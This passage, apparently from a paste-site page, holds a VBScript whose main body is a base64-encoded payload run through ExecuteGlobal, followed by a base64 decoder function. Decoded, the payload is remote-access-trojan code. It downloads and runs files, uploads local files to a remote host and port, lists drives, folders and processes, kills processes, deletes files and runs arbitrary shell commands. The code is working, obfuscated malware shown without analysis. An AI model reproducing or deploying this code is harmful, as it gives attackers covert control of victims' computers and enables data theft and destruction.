DQogICAgd2l0aCBvYmpzdHJlYW1kb3dubG9hZCANCgkJIC50eXBlID0gMSANCgkJIC5vcGVuDQoJCSAud3JpdGUgb2JqaHR0cGRvd25sb2FkLnJlc3BvbnNlYm9keQ0KCQkgLnNhdmV0b2ZpbGUgc3Ryc2F2ZXRvDQoJCSAuY2xvc2UNCgllbmQgd2l0aA0KICAgIHNldCBvYmpzdHJlYW1kb3dubG9hZCAgPSBub3RoaW5nDQplbmQgaWYNCmlmIG9iamZzb2Rvd25sb2FkLmZpbGVleGlzdHMoc3Ryc2F2ZXRvKSB0aGVuDQogICBzaGVsbG9iai5ydW4gb2JqZnNvZG93bmxvYWQuZ2V0ZmlsZSAoc3Ryc2F2ZXRvKS5zaG9ydHBhdGgNCmVuZCBpZiANCmVuZCBzdWINCg0KDQpmdW5jdGlvbiB1cGxvYWQgKGZpbGV1cmwpDQoNCmRpbSAgaHR0cG9iaixvYmpzdHJlYW11cGxvYWRlLGJ1ZmZlcg0Kc2V0ICBvYmpzdHJlYW11cGxvYWRlID0gY3JlYXRlb2JqZWN0KCJhZG9kYi5zdHJlYW0iKQ0Kd2l0aCBvYmpzdHJlYW11cGxvYWRlIA0KICAgICAudHlwZSA9IDEgDQogICAgIC5vcGVuDQoJIC5sb2FkZnJvbWZpbGUgZmlsZXVybA0KCSBidWZmZXIgPSAucmVhZA0KCSAuY2xvc2UNCmVuZCB3aXRoDQpzZXQgb2Jqc3RyZWFtZG93bmxvYWQgPSBub3RoaW5nDQpzZXQgaHR0cG9iaiA9IGNyZWF0ZW9iamVjdCgibXN4bWwyLnhtbGh0dHAiKQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgImlzLXJlY3ZpbmciICYgc3BsaXRlciAmIGZpbGV1cmwsIGZhbHNlDQpodHRwb2JqLnNlbmQgYnVmZmVyDQplbmQgZnVuY3Rpb24NCg0KDQpmdW5jdGlvbiBlbnVtZHJpdmVyICgpDQoNCmZvciAgZWFjaCBkcml2ZSBpbiBmaWxlc3lzdGVtb2JqLmRyaXZlcw0KaWYgICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQogICAgIGVudW1kcml2ZXIgPSBlbnVtZHJpdmVyICYgZHJpdmUucGF0aCAmICJ8IiAmIGRyaXZlLmRyaXZldHlwZSAmIHNwbGl0ZXINCmVuZCBpZg0KbmV4dA0KZW5kIEZ1bmN0aW9uDQoNCmZ1bmN0aW9uIGVudW1mYWYgKGVudW1kaXIpDQoNCmVudW1mYWYgPSBlbnVtZGlyICYgc3BsaXRlcg0KZm9yICBlYWNoIGZvbGRlciBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycw0KICAgICBlbnVtZmFmID0gZW51bWZhZiAmIGZvbGRlci5uYW1lICYgInwiICYgIiIgJiAifCIgJiAiZCIgJiAifCIgJiBmb2xkZXIuYXR0cmlidXRlcyAmIHNwbGl0ZXINCm5leHQNCg0KZm9yICBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIgKGVudW1kaXIpLmZpbGVzDQogICAgIGVudW1mYWYgPSBlbnVtZmFmICYgZmlsZS5uYW1lICYgInwiICYgZmlsZS5zaXplICAmICJ8IiAmICJmIiAmICJ8IiAmIGZpbGUuYXR0cmlidXRlcyAmIHNwbGl0ZXINCg0KbmV4dA0KZW5kIGZ1bmN0aW9uDQoNCg0KZnVuY3Rpb24gZW51bXByb2Nlc3MgKCkNCg0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0Kc2V0IG9iandtaXNlcnZpY2UgPSBnZXRvYmplY3QoIndpbm1nbXRzOlxcLlxyb290XGNpbXYyIikNCnNldCBjb2xpdGVtcyA9IG9iandtaXNlcnZpY2UuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIHdpbjMyX3Byb2Nlc3MiLCw0OCkNCg0KZGltIG9iaml0ZW0NCmZvciBlYWNoIG9iaml0ZW0gaW4gY29saXRlbXMNCgllbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5uYW1lICYgInwiDQoJZW51bXByb2Nlc3MgPSBlbnVtcHJvY2VzcyAmIG9iaml0ZW0ucHJvY2Vzc2lkICYgInwiDQogICAgZW51bXByb2Nlc3MgPSBlbnVtcHJvY2VzcyAmIG9iaml0ZW0uZXhlY3V0YWJsZXBhdGggJiBzcGxpdGVyDQpuZXh0DQplbmQgZnVuY3Rpb24NCg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KDQpzaGVsbG9iai5ydW4gInRhc2traWxsIC9GIC9UIC9QSUQgIiAmIHBpZCw3LHRydWUNCmVuZCBzdWINCg0Kc3ViIGRlbGV0ZWZhZiAodXJsKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCg0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVybA0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQoNCmVuZCBzdWINCg0KZnVuY3Rpb24gY21kc2hlbGwgKGNtZCkNCg0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCg0Kc2V0IG9leGVjID0gc2hlbGxvYmouZXhlYyAoIiVjb21zcGVjJSAvYyAiICYgY21kKQ0KaWYgbm90IG9leGVjLnN0ZG91dC5hdGVuZG9mc3RyZWFtIHRoZW4NCiAgIHJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3Rkb3V0LnJlYWRhbGwNCmVsc2VpZiBub3Qgb2V4ZWMuc3RkZXJyLmF0ZW5kb2ZzdHJlYW0gdGhlbg0KICAgcmVhZGFsbGZyb21hbnkgPSBvZXhlYy5zdGRlcnIucmVhZGFsbA0KZWxzZSANCiAgIHJlYWRhbGxmcm9tYW55ID0gIiINCmVuZCBpZg0KDQpjbWRzaGVsbCA9IHJlYWRhbGxmcm9tYW55DQplbmQgZnVuY3Rpb24=")
  3. ExecuteGlobal (Safa7_22)
  4. function deCrypt(data)
  5.      deCrypt=decodeBase64(data)
  6. end function
  7. Function decodeBase64(ByVal base64String)
  8.      Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  9.      Dim dataLength, sOut, groupBegin
  10.      
  11.      base64String = Replace(base64String, vbCrLf, "")
  12.      base64String = Replace(base64String, vbTab, "")
  13.      base64String = Replace(base64String, " ", "")
  14.      dataLength = Len(base64String)
  15.      If dataLength Mod 4 <> 0 Then
  16.           Err.Raise 1, "Base64Decode", "Bad Base64 string."
  17.           Exit Function
  18.      End If
  19.      For groupBegin = 1 To dataLength Step 4
  20.           Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
  21.           numDataBytes = 3
  22.           nGroup = 0
  23.          
  24.           For CharCounter = 0 To 3
  25.                thisChar = Mid(base64String, groupBegin + CharCounter, 1)
  26.                
  27.                If thisChar = "=" Then
  28.                     numDataBytes = numDataBytes - 1
  29.                     thisData = 0
  30.                Else
  31.                     thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
  32.                End If
  33.      
  34.                If thisData = -1 Then
  35.                     Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
  36.                     Exit Function
  37.                End If
  38.                
  39.                nGroup = 64 * nGroup + thisData
  40.           Next
  41.           nGroup = Hex(nGroup)
  42.           nGroup = String(6 - Len(nGroup), "0") & nGroup
  43.           pOut =      Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
  44.                     Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
  45.                     Chr(CByte("&H" & Mid(nGroup, 5, 2)))
  46.           sOut = sOut & Left(pOut, numDataBytes)
  47.      Next
  48.      decodeBase64 = sOut
  49. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement